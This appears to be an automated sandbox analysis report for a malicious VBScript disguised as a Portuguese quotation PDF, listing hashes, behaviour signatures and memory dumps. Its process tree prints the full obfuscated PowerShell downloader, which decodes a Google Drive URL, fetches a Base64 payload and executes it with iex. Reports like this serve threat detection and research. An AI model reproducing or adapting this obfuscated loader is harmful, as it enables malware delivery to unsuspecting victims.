Analysis

  • max time kernel
    149s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    04/11/2024, 15:11

General

  • Target

    Pedido de Cotação-24110004_Pdf.vbs

  • Size

    25KB

  • MD5

    b64fdcb2377a382cb42e87217d6ee517

  • SHA1

    739db4a77791bfbec0cf5be586a9a53d869c01ee

  • SHA256

    7be994f97359581ce590cdfea2f2a5e60a07d198a17aaa46b551c77e977587bc

  • SHA512

    7df115f1b9909e7dec4a528cb9ad0e88d2a23c258b58812e45eb15cbed3500ecba92c705067066c34d1b2675c57138e11910a2b774cd2f99689bdf5c42e15c59

  • SSDEEP

    384:EBbHfbnj8UeHqUxbHRlCiJshjpj6eSQBTYTw9jMehg:EB78UlUNGPh1WeTBTcw9jMz

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Network Service Discovery 1 TTPs 1 IoCs

    Attempt to gather information on host's network.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Pedido de Cotação-24110004_Pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Afstive Jaundiceroot Tranquillizes #>;$Rekommanderede='Udkrngedes';<#antrustionship Subtraktionstegns Acridinium #>; function Metoder($partnerships){If ($host.DebuggerEnabled) {$reprimand++;}$Saddlesick=$Syrnet+$partnerships.'Length' - $reprimand; for ( $Moorburner=5;$Moorburner -lt $Saddlesick;$Moorburner+=6){$maaneskinsarbejdernes=$Moorburner;$slambehandlingens+=$partnerships[$Moorburner];}$slambehandlingens;}function Acolhua($Noncalculative){ . ($Kontrolpunkt) ($Noncalculative);}$resnderrivende=Metoder 'ViritM AvaioBlindzUdgiviBrainlPolyglSurkaa Re l/Notat ';$Baggrundsjobs=Metoder 'teeswTAs uml teknsUreth1.enor2 Te,u ';$Provisive='Under[ holeN TribEBe ftTOpsmg. UplaS LevaEC,mnsRSunniVSubsiIcoun CCuratER vfipPredeoDoughICotypNenforTAfvbnmInamoaEmulon EkspAUnivegMaskieSulforam sk]Form :Paagr: HatcS mileeHotchc Hireu S,amrColoni tykgTDragnYHar ePVer.fRRyge.oGanzit TranOsjusscMllero GenflFacin=Luftv$ TronB UdboAIndusGWreatGInce R equiUSkattnP,otoDAntioSHagrijTrirao OprebaguamsCerbe ';$resnderrivende+=Metoder 'Latin5 Pro .Nelli0Sogne Ude l( in,oWDemuliTelesn Sp cdKorrooPolitwPref.s rene UnderNLindeTPalae Blre1Kippe0Perru.f rmn0 Opre;anded co,tW DowniAstranProsu6Berre4S,par;Undra OversxArbej6Corne4 Retc;Proto Repubr,bsecv W ey: ugon1Livsf3Sk,nn1 Tato.P rfe0 vann)Dem c SkanG BenteOverlcR,llekHeddlo ehea/Ggebg2Organ0Engla1Irido0Svog 0Rebec1Hava 0Condi1Atomf ErkenFRenonijunglrDatabe Ind fAce ho .istxCuvet/Pa eo1Canro3Grans1Decal.Over 0Tubif ';$Geodesical=Metoder 'enpukuEarldsBealteOprulR Vi e-PasteaMariagUdsmye AcmenCoef TLucru ';$Penannular=Metoder 'ind ehTjenetLakertamiespSmokesRisen:Brnds/ S,mb/S onsdOpstarR ndeiBibliv.ranseDogme. FdevgMa ioo uraoPlumog yrknlFrsteephyto.LovfscIsoloo IndomStra /Chat u Fensc He.r? BraheMistrxTimbepFlui opermirNoaortIndbd=GramidSotteo No,awExpr nKordelSaprooExa baEarthd Udes&Urr eiTalpid tale=cytot1Maan.q PseuIDrif G N rd8For kEDriftq SucccDiatonLanyarDemokgRegis-Styr.kAirscy Krilg BrylI Edd,IDiurnXRenteCKraftbDisbuTDismoL ulvmF roliT Cerek Kn.pgMatelxDigi xEuseb9KingsJYamstiFoveo2Plejewe pen ';$Sclererythrin=Metoder 'Flink>Lysti ';$Kontrolpunkt=Metoder 'Be otIKlipfe Barax Sain ';$Matched='Henlig';$Fremgangsperioder='\Drossiest.Ona';Acolhua (Metoder 'Succo$O.erfG En ulBortkO SkatB Pod,aScabbLIndgr:TeglvT ocuR everI,conopMorp tS.eniLUnd rLSolsoEUn.erR,althnMegaleTrussSSolba= .upr$produeB ginN FnisVAmbu :SlutoATeor PMargipStatsdOver,AWastyt ContaPlugu+Saapa$ ntgeFkontorAutoleNat.eMTr.daGWheeza OpnaNIdiopGslaaeSGav epPinliE lovfr O vaI envO O.dkdTul peTilsyRMunke ');Acolhua (Metoder ' Swee$U groGSk ndlDokniOEmpirBHvleda TeksLBinds: sgaapDarwieIn.err.andfm OcciaFortrNB,uece LaagNTils T KakoEGpdig1Bebar0Kokre6Chrom=Adien$OverlP ComeemadrinNaaleaAngreN FormN PutoUAlalilUnderATrou rF.rsk.Frsk SKnighP BlodL HjkoiB.efetFdeva(Ampho$Remu.sR.elfcPeriglDokkee rakrSolh EF edsR DkskyBlightHundehHemogrIbadgiP bernS ado)Sargo ');Acolhua (Metoder $Provisive);$Penannular=$Permanente106[0];$Chermes=(Metoder 'Drupe$Havs.gSupe l Afsko paleb Ma iANondeLSympo:BekenlShudnIkaspebtriclePreseLSlovel EkseeGevinENoaor=P ngen IdeoEOphthwLyski-Ma.ofoHjernBBassnjKighoefor,iCChavetBirec ,rnefS dpnsY RpthSaer eT,chneEAtomsM Rytt. MalmNLaaseeSealiT Sun .Ba,chWAlterE Townb Presc ,remL Brani DeroEMammonF,lmatMeste ');Acolhua ($Chermes);Acolhua (Metoder ' Sm,e$SamliLSkovfiGloribRom neMap,elArmoulPa koeMyriaePereg.MisilH DocteDroguaInsusdEk peeTil,rrSylvas ndfr[viti,$Bi odGInduve Syndo S,stdAfsoneIntersTurfsi ResicThunnaO eril L.nd]sti l=bi na$FraktrC owneForjas FemknLels d Ut leAkkorrMannirLemelivig.nvFizgieLeflenApo odknirkeSabba ');$Subcutis10=Metoder 'Bland$BoondLtungti oninbBecureImpe lS amplBi.leeRhi,oePumel.TiensD ahogoPseudw A stnO tshlAmalgoCanasaAvi rd TlacFCondei itrilLi.sce yste( Dj e$CalomPMa ineStrernPr lba ,rknnsubsunR ptiu K anlAbacaaMazinr Teks,Grade$N ninH,rimpufacadlBillaeHonnob usigoForbeesorburTruisndegageHande)Grund ';$Huleboerne=$triptllernes;Acolhua (Metoder 'Rvere$P,ndeGBede LDepolOStoplbVoka.a.yelolOpstd:TomatpSkyldrGruppEJordpDIltogEG akkSPiar P JambOPiz anRetrod vrdE ,npanLovfscUdsanYtupel= Spar(BrestT TumlEBrades ampTM tri-HjrebpBastaATalaltFremhHAm th Redre$F tnihHkkenuselvalG nnee Hy eBTil aoOpr,sE Fr.mRTanden ContEAxone).dont ');while (!$Predespondency) {Acolhua (Metoder 'Teist$Udv dg Be.zlLedigoDegrebDo.araHjlpel Kniv:Arrain carpaTan,enMil ejUnpopa Mou,=Omhan$Lagert Mercr Warpu rtenePresc ') ;Acolhua $Subcutis10;Acolhua (Metoder 'TryllSNavn TNovita,lannR Specttet,a-AngreSSy telEntere DagpETreemPDesid Brost4Solac ');Acolhua (Metoder 'Ramek$GelssgSmsy lbrainOAu,orbPav laNonstlHo.ke:SknhePS kniR SaniE F.leD,tamhEI urbSBil ypDruekORitmenSmertDHebraeEvaluN ellsCSk tlY nve=Smreg(Su,peTSa lieMechaSBellytExcha-FilmpPsalgsaB dmtt.ucorHTyran civ l$ bal H MorpuSyst.LHoodleNugldbbal woK ndoeBecheR LabsnSpulyEUdvik)Traf ') ;Acolhua (Metoder 'Proto$Aftapg Fal lKopulORimleB AvlsaPodzoL Flge:LysneTSkansh ladmi tandoHahneB,orstaF lmsc ielstHirseeTerpeRDrivgi Bla,a,tege=Vapor$ TestGBetjelH peroPedimb B.elaRegisL H em:U.senX Van e GlobNBronboRak.tfShog,O NonsBElektIO erfESmillnS rinspoli 2p rad2Im os6Weakl+ Expe+enl.d% Hav $Regalp LeukeGa ilR Hjo mMyrmeAN narNthorae OmslnRoa,iT.itteE real1 Dy e0Pt,ro6 kist.Fr,ggCBilejOMisknu maljNlangtTPlomb ') ;$Penannular=$Permanente106[$Thiobacteria];}$Tragtningernes=300506;$Obstinant=31257;Acolhua (Metoder ' Lysb$T yknG MissLPacifOfiberbPol.uaFingeL eglo:H stamDi otiRespiDS,antt VinbSHusm iExtradStapheTrul Indec=sup r AdvokgRearrENeessT Semi-CentrcC owno WantNAfterTAktieECentrN brucT anon Eclec$MedalhR stlUOvertlUdspreCos bBB,ando TjreeGenetrFrencNA rlieOsm n ');Acolhua (Metoder 'D spr$Na,bog erkelCanceoSma db GracaMonetlMeanw:VandlMUrbiaeC ppul Opgal g noeAnto,mParanbk ydsllukkeoNonp.nDesildChar Sy.ve= Embl Ledel[Co.ntS,rcheyY,anssPetrotUnmane In emSe lr. alaC A,roo.imonnMisclvArikce ociorOrtygtCongr]Rwa d:Avlin:BanneFParkerHvelsoAar.umRejf.B KngtaUnprosSignae erdi6R mpe4 GebiSTur.itDullerBotaniAfgi n sealgSkovt( Spis$coffeMFr,friKnittdDaahjtoriensP ungiSkyskd ompe Abbr) Prod ');Acolhua (Metoder 'In om$InausGRekonl FejloKaryob,stebaPalm,L hirl: CandPEtlarOStenbSMrkvrt LillsUninccKoncea ormersinknlSalonA ForstP ectiSbefanOmstiOEn obiUnderdGypsy Snusd=Synod Nephr[FrihjsLnforYscrupsKo totPoacheAgrikM Spir.VrnentDeutoeOklafxDemipTAttri. DisfEimpr nSl abc Gr iO TrakD edisIEksplN PensGNonpa] ,ill:Zebec:Di.nyAO,ersSRein cMacr ICra sIEnkro.DistiGUdebleEg lrTPseudSElgenT AsteRAffaliLatteN ,avtgUptre(.eplo$Afga M Unlee .assl StamLGyldeeStud Mgl,ndb Pre,L adonOPa chn utradsamme)ugem ');Acolhua (Metoder 'Adumb$T.desG Li,alValgmOBevisbIsoheA JariLB jae:Arb.jBudenduFast cBackwkzigzaLOmko eApporyBobes=Carbo$ Ja.uP Kymoo StbesNonamTKorrosSta fcRendeAmatter,orellSvitsA TeemTInfanIBenedNSumacoKraveiCam cdGr pl.RespostrefuUCrystB S olsKn.vmtHelterOvercIR,tteNP isbgNews ( Posi$Ua titbandeR DeflaUnio.G Lo lTAnnuin.lendIHalsenNewyogUn erESemitrDetern.nfixELandsS Umen,M nar$E,teroDaabsbTeht.STjenstTtsidISammenPare,APlecon Bkket Cano)Vauqu ');Acolhua $Buckley;"
      2⤵
      • Network Service Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1604

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabEAFD.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/1604-20-0x000007FEF589E000-0x000007FEF589F000-memory.dmp

    Filesize

    4KB

  • memory/1604-24-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/1604-23-0x0000000002860000-0x0000000002868000-memory.dmp

    Filesize

    32KB

  • memory/1604-22-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/1604-21-0x000000001B640000-0x000000001B922000-memory.dmp

    Filesize

    2.9MB

  • memory/1604-25-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/1604-26-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/1604-27-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/1604-28-0x000007FEF589E000-0x000007FEF589F000-memory.dmp

    Filesize

    4KB

  • memory/1604-29-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/1604-30-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/1604-31-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB

  • memory/1604-32-0x000007FEF55E0000-0x000007FEF5F7D000-memory.dmp

    Filesize

    9.6MB